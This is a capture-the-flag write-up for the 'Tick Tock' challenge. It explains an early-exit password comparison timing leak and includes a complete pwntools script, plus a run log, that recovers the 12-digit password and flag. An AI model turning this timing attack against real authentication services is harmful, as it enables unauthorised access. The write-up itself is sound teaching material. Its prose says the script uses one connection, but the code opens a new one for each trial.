Tick Tock
Challenge Context#
We were given a netcat endpoint (nc chals3.apoorvctf.xyz 9001) and a prompt stating that the engineers are “obsessed with performance” and built a password verification service that “avoids doing more work than necessary.” We were also told the password consists entirely of digits (0-9).
The Vulnerability: Side-Channel Timing Attack#
The phrase “avoids doing more work than necessary” is a massive hint pointing toward an early-exit string comparison.
When checking the password, the backend code loops through the user’s input and compares it to the real password character by character. If it encounters a mismatch, it immediately returns False to save CPU cycles instead of checking the rest of the string.
Because of this early exit, a completely wrong password fails instantly. However, if the first character is correct, the server takes a tiny fraction of a second longer to fail, because it has to execute the next loop iteration. By measuring the server’s response time, we can leak the password one character at a time. In this specific challenge, the server artificially inflated that processing delay to exactly ~0.8 seconds per correct character.
The Exploit Code#
This script connects to the server once, sequentially guesses digits, and measures the response time. The digit that takes the longest to return “Incorrect password.” is appended to our known password base until the server eventually spits out the flag.
To keep the persistent connection synchronized, it makes sure to consume the password: prompt from the socket buffer after every single guess.
from pwn import *
import time
context.log_level = 'error'
HOST = "chals3.apoorvctf.xyz"
PORT = 9001
TRIALS_PER_DIGIT = 3
def solve():
known_password = ""
print("[+] Starting bulletproof timing attack...")
while True:
times_dict = {}
print(f"\n[*] Testing next digit for base: '{known_password}'")
for i in range(10):
guess = known_password + str(i)
times = []
for _ in range(TRIALS_PER_DIGIT):
# Open a fresh connection for every trial
p = remote(HOST, PORT)
p.recvuntil(b"password: ")
start = time.perf_counter()
p.sendline(guess.encode())
try:
# Generous timeout to account for accumulating delays
response = p.recvline(timeout=15)
except EOFError:
return
end = time.perf_counter()
p.close() # Prevent socket desync
if not response:
continue
if b"Incorrect" not in response:
print(f"\n[!] Success! We got a different response for: {guess}")
print(f"[*] Response:\n{response.decode('utf-8', errors='ignore')}")
return
times.append(end - start)
if times:
# Use min() to filter out all artificial network latency
best_time = min(times)
times_dict[str(i)] = best_time
print(f" Guess: {guess:<15} | Min Time: {best_time:.5f} seconds")
if not times_dict:
break
# The correct digit is the one that took the longest minimum time
best_char = max(times_dict, key=times_dict.get)
known_password += best_char
print(f"[+] Selected '{best_char}'")
if __name__ == "__main__":
solve()pythonThe Result & Remediation#
Running the script successfully leaks the 12-digit password (934780189098). Sending this to the server yields the final flag:
apoorvctf{con5t4nt_tim3_or_di3}
neo ~/ /apoorvctf main ? 00:57 uv run crypt2.py
[+] Starting bulletproof timing attack...
[*] Resuming from known base: 93
[*] Testing next digit for base: '93'
Guess: 930 | Min Time: 1.63507 seconds
Guess: 931 | Min Time: 1.63429 seconds
Guess: 932 | Min Time: 1.63523 seconds
Guess: 933 | Min Time: 1.63508 seconds
Guess: 934 | Min Time: 2.43370 seconds
Guess: 935 | Min Time: 1.63535 seconds
Guess: 936 | Min Time: 1.63377 seconds
Guess: 937 | Min Time: 1.63789 seconds
Guess: 938 | Min Time: 1.63096 seconds
Guess: 939 | Min Time: 1.63127 seconds
[+] Selected '4'
[*] Recovered so far: 934
[*] Testing next digit for base: '934'
: Guess: 9340 | Min Time: 2.43382 seconds
Guess: 9341 | Min Time: 2.43304 seconds
Guess: 9342 | Min Time: 2.43279 seconds
Guess: 9343 | Min Time: 2.43785 seconds
Guess: 9344 | Min Time: 2.43590 seconds
Guess: 9345 | Min Time: 2.43602 seconds
Guess: 9346 | Min Time: 2.43510 seconds
Guess: 9347 | Min Time: 3.23479 seconds
Guess: 9348 | Min Time: 2.43643 seconds
Guess: 9349 | Min Time: 2.43472 seconds
[+] Selected '7'
[*] Recovered so far: 9347
[*] Testing next digit for base: '9347'
Guess: 93470 | Min Time: 3.23460 seconds
Guess: 93471 | Min Time: 3.23754 seconds
Guess: 93472 | Min Time: 3.23592 seconds
Guess: 93473 | Min Time: 3.23493 seconds
Guess: 93474 | Min Time: 3.23952 seconds
Guess: 93475 | Min Time: 3.23684 seconds
Guess: 93476 | Min Time: 3.23284 seconds
Guess: 93477 | Min Time: 3.23327 seconds
Guess: 93478 | Min Time: 4.03626 seconds
Guess: 93479 | Min Time: 3.23407 seconds
[+] Selected '8'
[*] Recovered so far: 93478
[*] Testing next digit for base: '93478'
Guess: 934780 | Min Time: 4.83153 seconds
Guess: 934781 | Min Time: 4.03430 seconds
Guess: 934782 | Min Time: 4.03562 seconds
Guess: 934783 | Min Time: 4.03124 seconds
Guess: 934784 | Min Time: 4.03589 seconds
Guess: 934785 | Min Time: 4.03772 seconds
Guess: 934786 | Min Time: 4.03375 seconds
Guess: 934787 | Min Time: 4.03681 seconds
Guess: 934788 | Min Time: 4.03818 seconds
Guess: 934789 | Min Time: 4.03508 seconds
[+] Selected '0'
[*] Recovered so far: 934780
[*] Testing next digit for base: '934780'
Guess: 9347800 | Min Time: 4.83645 seconds
Guess: 9347801 | Min Time: 5.63482 seconds
Guess: 9347802 | Min Time: 4.83734 seconds
Guess: 9347803 | Min Time: 4.83774 seconds
Guess: 9347804 | Min Time: 4.83720 seconds
Guess: 9347805 | Min Time: 4.83381 seconds
Guess: 9347806 | Min Time: 4.83727 seconds
Guess: 9347807 | Min Time: 4.83798 seconds
Guess: 9347808 | Min Time: 4.83715 seconds
Guess: 9347809 | Min Time: 4.83489 seconds
[+] Selected '1'
[*] Recovered so far: 9347801
[*] Testing next digit for base: '9347801'
Guess: 93478010 | Min Time: 5.63470 seconds
Guess: 93478011 | Min Time: 5.63574 seconds
Guess: 93478012 | Min Time: 5.63773 seconds
Guess: 93478013 | Min Time: 5.63715 seconds
Guess: 93478014 | Min Time: 5.63849 seconds
Guess: 93478015 | Min Time: 5.63746 seconds
Guess: 93478016 | Min Time: 5.63293 seconds
Guess: 93478017 | Min Time: 5.63831 seconds
Guess: 93478018 | Min Time: 6.43836 seconds
Guess: 93478019 | Min Time: 5.63602 seconds
[+] Selected '8'
[*] Recovered so far: 93478018
[*] Testing next digit for base: '93478018'
Guess: 934780180 | Min Time: 6.43712 seconds
Guess: 934780181 | Min Time: 6.43860 seconds
Guess: 934780182 | Min Time: 6.43843 seconds
Guess: 934780183 | Min Time: 6.43752 seconds
Guess: 934780184 | Min Time: 6.43884 seconds
Guess: 934780185 | Min Time: 6.43719 seconds
Guess: 934780186 | Min Time: 6.43678 seconds
Guess: 934780187 | Min Time: 6.43746 seconds
Guess: 934780188 | Min Time: 6.43598 seconds
Guess: 934780189 | Min Time: 7.23563 seconds
[+] Selected '9'
[*] Recovered so far: 934780189
[*] Testing next digit for base: '934780189'
Guess: 9347801890 | Min Time: 8.03824 seconds
Guess: 9347801891 | Min Time: 7.23734 seconds
Guess: 9347801892 | Min Time: 7.23925 seconds
Guess: 9347801893 | Min Time: 7.23843 seconds
Guess: 9347801894 | Min Time: 7.23855 seconds
Guess: 9347801895 | Min Time: 7.24098 seconds
Guess: 9347801896 | Min Time: 7.23640 seconds
Guess: 9347801897 | Min Time: 7.23681 seconds
Guess: 9347801898 | Min Time: 7.23561 seconds
Guess: 9347801899 | Min Time: 7.23991 seconds
[+] Selected '0'
[*] Recovered so far: 9347801890
[*] Testing next digit for base: '9347801890'
Guess: 93478018900 | Min Time: 8.03726 seconds
Guess: 93478018901 | Min Time: 8.03774 seconds
Guess: 93478018902 | Min Time: 8.03770 seconds
Guess: 93478018903 | Min Time: 8.03807 seconds
Guess: 93478018904 | Min Time: 8.03813 seconds
Guess: 93478018905 | Min Time: 8.03991 seconds
Guess: 93478018906 | Min Time: 8.04181 seconds
Guess: 93478018907 | Min Time: 8.03630 seconds
Guess: 93478018908 | Min Time: 8.03729 seconds
Guess: 93478018909 | Min Time: 8.83986 seconds
[+] Selected '9'
[*] Recovered so far: 93478018909
[*] Testing next digit for base: '93478018909'
Guess: 934780189090 | Min Time: 8.84151 seconds
Guess: 934780189091 | Min Time: 8.84057 seconds
Guess: 934780189092 | Min Time: 8.83919 seconds
Guess: 934780189093 | Min Time: 8.83772 seconds
Guess: 934780189094 | Min Time: 8.83948 seconds
Guess: 934780189095 | Min Time: 8.83680 seconds
Guess: 934780189096 | Min Time: 8.83870 seconds
Guess: 934780189097 | Min Time: 8.83989 seconds
[!] Success! We got a different response for: 934780189098
[*] Response:
Correct! apoorvctf{con5t4nt_tim3_or_di3}
neo ~/ /apoorvctf mainbash